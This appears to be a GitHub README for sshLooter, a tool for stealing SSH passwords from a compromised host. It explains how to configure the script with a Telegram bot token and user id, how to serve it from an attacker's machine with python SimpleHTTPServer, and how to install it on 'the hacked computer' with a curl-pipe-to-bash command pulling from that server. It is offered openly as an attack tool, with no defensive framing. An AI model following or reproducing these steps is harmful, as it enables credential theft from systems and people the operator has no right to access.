DON'T USE THIS
There's a C version which is much better sshLooterC
Script to steal passwords from ssh.
git clone https://github.com/mthbernardes/sshLooter.git cd sshLooter
Edit the script on install.sh, and add your telegram bot api, and your userid. Call the @botfather on telegram to create a bot and call the @userinfobot to get your user id.
On your server execute. python -m SimpleHTTPServer On the hacked computer execute. curl http://yourserverip:8000/install.sh | bash